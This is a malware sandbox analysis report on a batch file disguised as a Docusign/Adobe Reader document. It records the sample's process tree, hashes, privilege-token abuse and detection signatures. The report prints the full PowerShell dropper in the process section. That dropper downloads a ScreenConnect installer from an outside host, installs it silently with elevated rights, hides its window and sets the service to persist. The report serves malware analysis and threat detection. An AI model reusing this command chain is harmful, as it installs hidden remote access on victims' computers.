Analysis
- max time kernel
150s - max time network
143s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
20/08/2026, 12:17
Static task
static1
Behavioral task
behavioral1
Sample
Docusign-8901123adobe-reader07zuillnirusi.bat
Resource
win10v2004-20260513-en
21 signatures
150 seconds
Behavioral task
behavioral2
Sample
Docusign-8901123adobe-reader07zuillnirusi.bat
Resource
win11ltsc2024-20260709-en
7 signatures
150 seconds
General
- Target Docusign-8901123adobe-reader07zuillnirusi.bat
- Size 735B
- Sample260820-pf4teazvbv
- SHA256 d63a6524fd2805a69f62b34263583994318a4850a38c4aebf4b7ece9168da8b0
- MD5 ce4f2d7344b782016ab0dbb01fa8c281
- SHA1 7215e588246aa7eaf4efb80d318d05f4d3eeba62
- SHA512 19955564fd0e254fd87474378688a5543ea13b19cd9f5eea0e5730153648c04d25709476d7768b8b17c78813579fc6209d56bd925170ff9f64b41ceb67ac1147
- TLSH T1F7011A1352D025758DDB9795F4564342BC6E2456D2061103737D8830DD902FFDFE8DA5
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 5 5768 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 3948 powershell.exe 5768 powershell.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2484 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 3948 powershell.exe 3948 powershell.exe 5768 powershell.exe 5768 powershell.exe 5768 powershell.exe - Suspicious use of AdjustPrivilegeToken 34 IoCs
description pid Process Token: SeDebugPrivilege 3948 powershell.exe Token: SeDebugPrivilege 5768 powershell.exe Token: SeShutdownPrivilege 2400 msiexec.exe Token: SeIncreaseQuotaPrivilege 2400 msiexec.exe Token: SeSecurityPrivilege 3700 msiexec.exe Token: SeCreateTokenPrivilege 2400 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 2400 msiexec.exe Token: SeLockMemoryPrivilege 2400 msiexec.exe Token: SeIncreaseQuotaPrivilege 2400 msiexec.exe Token: SeMachineAccountPrivilege 2400 msiexec.exe Token: SeTcbPrivilege 2400 msiexec.exe Token: SeSecurityPrivilege 2400 msiexec.exe Token: SeTakeOwnershipPrivilege 2400 msiexec.exe Token: SeLoadDriverPrivilege 2400 msiexec.exe Token: SeSystemProfilePrivilege 2400 msiexec.exe Token: SeSystemtimePrivilege 2400 msiexec.exe Token: SeProfSingleProcessPrivilege 2400 msiexec.exe Token: SeIncBasePriorityPrivilege 2400 msiexec.exe Token: SeCreatePagefilePrivilege 2400 msiexec.exe Token: SeCreatePermanentPrivilege 2400 msiexec.exe Token: SeBackupPrivilege 2400 msiexec.exe Token: SeRestorePrivilege 2400 msiexec.exe Token: SeShutdownPrivilege 2400 msiexec.exe Token: SeDebugPrivilege 2400 msiexec.exe Token: SeAuditPrivilege 2400 msiexec.exe Token: SeSystemEnvironmentPrivilege 2400 msiexec.exe Token: SeChangeNotifyPrivilege 2400 msiexec.exe Token: SeRemoteShutdownPrivilege 2400 msiexec.exe Token: SeUndockPrivilege 2400 msiexec.exe Token: SeSyncAgentPrivilege 2400 msiexec.exe Token: SeEnableDelegationPrivilege 2400 msiexec.exe Token: SeManageVolumePrivilege 2400 msiexec.exe Token: SeImpersonatePrivilege 2400 msiexec.exe Token: SeCreateGlobalPrivilege 2400 msiexec.exe - Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 2400 msiexec.exe 3700 msiexec.exe - Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2484 wrote to memory of 3948 2484 cmd.exe 91 PID 3948 wrote to memory of 5768 3948 powershell.exe 92 PID 5768 wrote to memory of 2400 5768 powershell.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Docusign-8901123adobe-reader07zuillnirusi.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2484 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Start-Process powershell -ArgumentList '-ExecutionPolicy Bypass -WindowStyle Hidden -Command ""[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi=''C:\Users\Admin\AppData\Local\Temp\sc.msi''; (New-Object Net.WebClient).DownloadFile(''https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest'', $msi); Start-Process msiexec -ArgumentList ''/i'', $msi, ''/qn'', ''/norestart'', ''/quiet'', ''ALLUSERS=1'', ''REBOOT=ReallySuppress'' -Wait; Start-Sleep 5; $s=Get-Service ''ScreenConnectService'' -EA 0; if($s){$s.ChangeStartMode(''Automatic''); if($s.Status -ne ''Running''){$s.Start()}}; Remove-Item $msi -Force -EA 0""' -Verb RunAs -WindowStyle Hidden"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $msi='C:\Users\Admin\AppData\Local\Temp\sc.msi'; (New-Object Net.WebClient).DownloadFile('https://centrodolce.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest', $msi); Start-Process msiexec -ArgumentList '/i', $msi, '/qn', '/norestart', '/quiet', 'ALLUSERS=1', 'REBOOT=ReallySuppress' -Wait; Start-Sleep 5; $s=Get-Service 'ScreenConnectService' -EA 0; if($s){$s.ChangeStartMode('Automatic'); if($s.Status -ne 'Running'){$s.Start()}}; Remove-Item $msi -Force -EA 03⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5768 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i C:\Users\Admin\AppData\Local\Temp\sc.msi /qn /norestart /quiet ALLUSERS=1 REBOOT=ReallySuppress4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2400
-
-
-
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:3700
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 54aa570220e696de49a9a588711123e43032522c4578b6fa4f918d2666c1cb32
- MD5 27db61c440595c38f5a7b661c618d0c9
- SHA1 87613fdda39013791c068bdeec060f945fa2e908
- SHA512 e367d57ce85719fa4e3cfd8083e0a5f71110b3f845c1ea7d3a0a3393066cfa90b96712701f044b731fab41ff6a751b7f4db794795c1f3aec955f642c3df25586
- TLSH T1FC115733F3CC8624C89A413650CEAC1036B587DB519ECE6BBB84D154B43F699DE61260
- MD5 SHA1 SHA512 TLSH